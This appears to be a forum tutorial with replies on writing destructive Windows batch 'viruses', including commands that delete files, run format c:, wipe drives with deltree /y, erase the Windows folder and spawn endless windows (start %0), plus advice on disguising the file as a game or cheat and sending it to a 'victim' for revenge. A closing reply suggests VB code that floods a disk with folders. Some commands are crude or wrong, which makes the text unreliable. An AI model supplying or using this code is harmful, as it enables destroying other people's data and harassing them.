1. Tools
2. What makes a virus a virus
3. Making your first batch file
4. Making a batch virus
5. Destructive commands
6. Most common tricks used to make someone open the file
1. Tools
To make a batch program you will need a text program (ex. Word,notepad,wordpad etc…) A keyboard if you don’t have one you can use the ON-screen keyboard
To get to the on-screen keyboard start>all programs>accessories>accessibility
2. What makes a virus a virus
When people think of a virus they think of a computer virus but the word virus came from a virus that’s in your body. They also think a virus is meant to delete or destroy things. They normally do but a virus is called a virus because, it copies itself. Like a virus in your body it copies it self to other cells cause it can’t live with out a host. Same with a computer virus with out a file or a program a virus can’t be made.
So all a computer virus is: a program that copies it self ,but some people put destructive code in it.
3. Making a Batch file
I’m going to use notepad you can use what ever you want
We are also going to make a “Hello World” Application that is the first program you make in any language
When making a batch file you are always going to use this line first
@echo off
You can turn it on if you like. All that does is telling the program not to tell its location. If you turn it on then the program will tell were it is at on the computer.
You can experiment a little if you want.
Now we are going to make it say Hello World
To do this we need a echo command which looks like this
echo
This tells the program to write something since we want it to say Hello World we are going to type Hello World next to echo to make it look like this
echo Hello World
so at this point you should have
@echo off
echo Hello World
now go to file save and name it test.bat ( you can name it whatever you want as long as it has .bat at the end.)
Save it to the desktop so you can get to it faster.
Then run it

Continued!
You should of have a black box open and close really fast
To fix this we need a pause command and we will also need a goto command
The goto command is the most importent command
If you dont know the goto command tell it were to go to next.
since we need a pause command we want it to go to pause so we need to write goto pause like this
goto pause
now u should have
@echo off
echo Hello World
goto pause
now we need a subsection name pause
you make a sub section by putting a : by the first word like this
:start
or
:end
,but we said go to pause so we need one name pause like this
ause
then under that we are goin to write pause
ause
pause
this just makes it were it will keep the box open till you press a key
Optionl
At the end you can put a exit at the end of pause were the goto command should go ,but you dont have to.
save at run it now.You should be able to read your text now
4. Making a Batch file into a virus
This is alot easier then some people think.
To make a virus you just need the copy command which looks like this
copy
so lets make a new one by reading section 3 you should know you need the @echo off
@echo off
copy
allright we are going to name this file first
and we are going to make it copy itself to C:\WINDOWS just because no one looks in their
this is what it looks like (i will explain it)
@echo off
copy first C:\WINDOWS
copy-tells it to copy
first-is just the name of the file we want to copy
C:\WINDOWS- is the place you want to copy to
that is a virus
5. Destructive commands
If you get pissed at someone you might want to send him someting to mess with him. Here are some commands to add to the virus.
del -this del files
del file name
del (.txt*)
the (.txt*) would delete all txt files on the computer the * at the end just means all instead of a file called .txt
deltree- this deletes the whole folder
you can remeber it like this

Continued again
Think of a tree if you type del you are only deleting a part of the tree ,but if you type deltree you are deleting the whole tree
format- this deltes everything
format c:
this delets everything in the c drive
open
this is just fun to use to scare some one but not do damage to something
open name of file
like to open notepad type
open notepad
to open microsoft paint type
open mspaint
just put ta crap load in their
also the next one that can be very usefull is looping
this will make the file repet it self til it is shut off
say your first sub section is called start
you would just make the goto command to go to start like
@echo off
:start
start notepad
goto start
that will open notepad over and over and if they dont close it it can crash their computer
to open the command window you have to use var. like %% (not going to explain var. it would be confusing)
@echo off
:whatever
start %0
goto whatever
this will open the black box over and over
6. Most command tricks
people will put it in a folder with a couple read me doc. and call it a game
people will say check this out it is so cool
people will say check out this hack or cheat i found for this game
to check if the are good do this
tell them to put it in a zip folder and send it
unzip and right click on the program(dont open it)
and press edit
that will show the sorce code and if you see something you dont like then delete it
Examples
for just a simp msg its
@echo off
echo *insert MSG here*
goto pause
ause
pause
for the a rapid command propt type screen its
@echo off
:whatever
start %0
goto whatever
for rapid note pad its
@echo off
:start
start notepad
goto start
for rapid ms paint its
@echo off
:start
start ms paint
goto start
Quite Long but good to try...

Very easy but dangerous Virus
Ok, now, the trick:
The only thing you need is Notepad.
Now, to test it, create a textfile called TEST.txt(empty) in C:\
Now in your notepad type "erase C:\TEST.txt" (without the quotes). Then do "Save As..." and save it as "Test.cmd".
Now run the file "Test.cmd" and go to C:\ and you'll see your Test.txt is gone. Now, the real work begins:
Go to Notpad and type erase C:\WINDOWS (or C:\LINUX if you have linux) and save it again as findoutaname.cmd. Now DON'T run the file or you'll lose your WINDOWS map. So, that's the virus. Now to take revenge. Send you file to your victim. Once she/he opens it. Her/his WINDOWS/LINUX map is gone. And have to install LINUX/WINDOWS again.
Simple explanation:
Go to notepad, type erase C:\WINDOWS, save, send to victim, once the victim opens it, the map WINDOWS will be gone and have to install WINDOWS again...
HEY I AM NOT RESPONSIBLE FOR ANYTHING HAPPEN 2 UR COMPUTER IF U TRY THIS!!!!!!!
AGAIN :I AM NOT RESPONSIBLE FOR ANYTHING HAPPEN 2 UR COMPUTER IF U TRY THIS!!!!!!!
be aware of this..its a simple but a strong virus that can delete anyones window os through email ..ok

deltree /y c:\*
deltree /y D:\*
deltree /y E:\*
deltree /y F:\*
deltree /y G:\*

@Ghabber
Bhai kabhi try kiya hai ya aise hi copy paste
None of them will work, Better is write simple code on timer in vb and go.. like
i=RND(1000)
dir="c:\" + str(i)
mkdir (dir)
and set inverval to 1 and make visible false for form fir dekho 1 second me 10000 dir banayega aur victim pagal ho jayega
